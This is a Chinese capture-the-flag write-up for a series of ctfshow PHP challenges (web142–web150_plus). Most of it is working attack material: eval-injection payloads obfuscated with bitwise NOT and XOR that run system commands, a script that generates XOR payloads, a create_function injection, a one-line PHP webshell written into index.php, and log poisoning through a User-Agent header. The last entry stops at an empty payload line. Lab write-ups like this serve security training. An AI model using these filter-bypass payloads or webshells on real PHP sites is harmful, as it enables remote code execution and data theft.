要求 v1 和 v2 是数字,检查 v3 是否只包含非单词字符(非字母、非数字、非下划线),且长度大于零,将 $v1 和 $v2 作为操作数,$v3 作为操作符,构建一个表达式,并使用 eval() 执行它,最后输出表达式及其结果。
在 php 里数字和一些命令进行运算后也是可以让命令执行的,比如 1-phpinfo(); 是可以执行 phpinfo() 命令的,那么我们这里可能构造出命令的地方就是在 v3 了,再在 v3 前后加上运算符即可,这里采用取反的方法:
<?php echo urlencode(~'system'); echo "\n".urlencode(~'ls'); ?>
|
构造system(‘ls’)
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-
|
同理,用脚本构造system(‘tac flag.php’)
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)-
|
web143
<?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
相比上一题,多过滤了一些
采取异或
def action(arg): s1 = "" s2 = "" with open("rce.txt", "r") as f: lines = f.readlines() for i in arg: for line in lines: if line.startswith(i): s1 += line[2:5] s2 += line[6:9] break output = "(\"" + s1 + "\"^\"" + s2 + "\")" return output while True: function_input = input("\n[+] 请输入你的函数:") command_input = input("[+] 请输入你的命令:") param = action(function_input) + action(command_input) print("\n[*] 构造的Payload:", param)
|
rce.txt生成代码:
<?php
function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result; }
function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result; }
function negateRce(){ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; }
function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce.txt", "w"); $contents = ""; for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); } if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); } } generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
|
之后得到
[*] 构造的Payload: ("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")
|
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
|
同理,这样构造语句实现rce
web144
<?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
function check($str){ return strlen($str)===1?true:false; }
|
位置有所不同,检查 $v1 是否是数字,并且 $v3 是否是单个字符(通过调用 check($v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。把构造的payload传入v3
payload:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-
|
web145
<?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
取反payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
|
web146
<?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
禁用了*,用|替换即可
payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
|
web147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }
}
|
通过 create_function 函数来实现命令执行
$func = create_function('$a', 'echo $a."123";'); $func('Hello');
|
相当于
function f($a) { echo $a . "123"; } f('Hello'); // 输出 Hello123
|
creat_function存在注入漏洞
payload:
?show=}system('ls');// ctf=\create_function
|
web148
<?php
include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); }
function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
|
采用异或
payload:
/?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"}^`}`{%7f^``%3b`")();
|
web149
<?php
error_reporting(0); highlight_file(__FILE__);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
|
直接在index.php里写马,就删不掉了
payload:
?ctf=index.php show=<?php eval($_POST[1]);?>
|
后续执行rce
web150
<?php
include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){ $this->vip = 0; $this->secret = $flag; }
function __destruct(){ echo $this->secret; }
public function isVIP(){ return $this->vip?TRUE:FALSE; } }
function __autoload($class){ if(isset($class)){ $class(); } }
$key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
|
先让isVIP满足条件
include使用文件包含漏洞中的日志包含
bp抓包,ua写马即可
payload:
?isVIP=1 ctf=/var/log/nginx/access.log
|
UA:
user-agent:<?php system('tac flag.php')>
|
web150_plus
<?php
include("flag.php"); error_reporting(0); highlight_file(__FILE__);
class CTFSHOW{ private $username; private $password; private $vip; private $secret;
function __construct(){ $this->vip = 0; $this->secret = $flag; }
function __destruct(){ echo $this->secret; }
public function isVIP(){ return $this->vip?TRUE:FALSE; } }
function __autoload($class){ if(isset($class)){ $class(); } }
$key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; }
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
|
调出phpinfo即可
payload: